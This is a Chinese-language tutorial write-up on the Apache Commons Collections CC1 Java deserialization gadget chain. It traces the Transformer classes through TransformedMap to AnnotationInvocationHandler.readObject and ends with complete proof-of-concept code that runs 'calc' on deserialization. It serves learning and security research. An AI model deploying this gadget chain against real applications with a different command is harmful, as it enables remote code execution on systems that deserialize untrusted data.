前置知识介绍
Transformer
Transformer接口的transform方法是CC链1的核心,分析之前先学习下这块知识
使用ctrl+alt+b查看该接口的实现类有哪些
挑几个在接下来会用到的类看看
ChainedTransformer.java
将传入的object数组遍历,第一个数组的尾作为第二个数组的参数,依次形成链式调用。
ConstantTransformer.java
这个类的transform方法无论传入什么样的object对象都会返回一个iConstant私有对象,而这个对象通过有参构造函数传入,为我们可控。
InvokerTransformer.java
看到红框处反应快的同学应该能联想到反射,这块代码就是用于实现某个方法的
查看下里面的参数是否可控,可以看到其有参构造就是个常量赋值,参数可控的情况下即可触发任意命令执行。
尝试实现该类方法
先写一段常见的利用反射的命令执行代码
Runtime runtime = Runtime.getRuntime();
Class<? extends Runtime> aClass = runtime.getClass();
Method exec = aClass.getMethod("exec", String.class);
exec.invoke(runtime,"calc");
然后套写invokerTransformer
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);
这样我们就找到并实现了危险方法了。
分析过程
已经知道transform方法可以实现任意命令执行,寻找还有哪些不同的方法调用了transform,可以看到总共有21个。目前网上的CC1链有两条,ysoserial用的是LazyMap,另一条用的是TransformedMap,这里我们以TransformedMap.checkSetValue方法为学习切入点
如上图可看到valueTransformer值为TransformedMap参数赋值所得,由于是protected修饰,无法在不同包下直接调用,看看在有哪些调用了该方法
找到了静态方法decorate,并且确定了valueTransformer值可控,找到了控制valueTransformer值的方法,接下来我们需要实现checkSetValue。同样的该方法我们无法直接调用,查看哪些方法调用,看到只有AbstractInputCheckedMapDecorator类里面的静态内部类MapEntry的setValue方法最终调用了checkSetValue方法
这里不是很懂,在别的视频文章中学到的是类比map遍历集合的getValue和setValue方法,MapEntry的setValue方法跟map遍历结合的setValue一样
所以我们只要遍历map集合再调用setValue方法即可触发transform方法。
该部分完成代码如下
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, invokerTransformer);
hashMap.put("1","2");
for (Map.Entry entry : decorate.entrySet()){
entry.setValue(runtime);
}
通过以上分析我们可以套娃,找到还有哪些不同的方法调用了setValue,最好在readobject方法内,看到39个方法调用,就不一一看了,在AnnotationInvocationHandler中的readObject方法中调用了,完美符合我们想要的
内部代码好像挺复杂,我们需要memberValues和setValue内的值可控并保证符合if逻辑能够走进setValue方法。挨个看吧,首先看看memberValues在哪赋值,通过下图可以知道该类无法直接调用,可以使用反射调用该构造器进行赋值,其中Annotation指注解类型
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, decorate);
serialize(o);
unserialize("C://ser.txt");
通过上述代码实现了该构造方法并将decorate传入。
接下来我们需要解决实现setValue的问题,实现其方法需先实现reabObject方法,由于需要反序列化,所以先进行序列化,而runtime.getRuntime对象无法直接序列化
但Class对象是可以序列化的,所以也需要用到反射将getRuntime反射出来。可以对比着正常反射写。
常规反射
Class<Runtime> runtimeClass = Runtime.class;
Method method1 = runtimeClass.getMethod("getRuntime",null);
Runtime runtime = (Runtime) method1.invoke(null,null);
Method exec = runtimeClass.getMethod("exec", String.class);
exec.invoke(runtime,"calc");
对比常规反射用InvokerTransformer方法实现
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
这里可以使用ChainedTransfomer类将代码进行优化
//新建Transformer数组,并将上述代码赋值其内
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
完整代码
package com.superman;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
hashMap.put("1","2");
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, decorate);
serialize(o);
unserialize("C://ser.txt");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object object = objectInputStream.readObject();
return object;
}
}
完成上面代码就已经完成了一大半了,但实际还有两个问题,if判断如何进去以及setValue内的值我们如何控制
可以看到memberType使用get方法查找,name来自于我们传入的key值,可控;而memberTypes来自于annotationType的成员变量,所以我们需要控制传入的key值与注解的成员变量相同。
可以看到Target注解的成员变量有value
将key值改为value,Object对象改为Target
调试后可以看到name值和memberTypes值相同,可以进入if判断
最后跟踪进setValue
现在value是AnnotationTypexxxxxxxproxy这个,而我们希望的是Runtime.class,这里我们需要用到之前介绍到的ConstantTransfomer,他的作用可以控制最后的返回值,我们可以控制其返回Runtime.class,添加进ChainedTransformer。
最终实现代码
package com.superman;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
hashMap.put("value","2");
Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorate);
//serialize(o);
unserialize("C://ser.txt");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object object = objectInputStream.readObject();
return object;
}
}
总结
最后控制setValue内容的地方挺巧妙,其他的说白了还是自己对Java不够熟悉,达不到灵活应用的地步。不过想想构造这些链的人是真厉害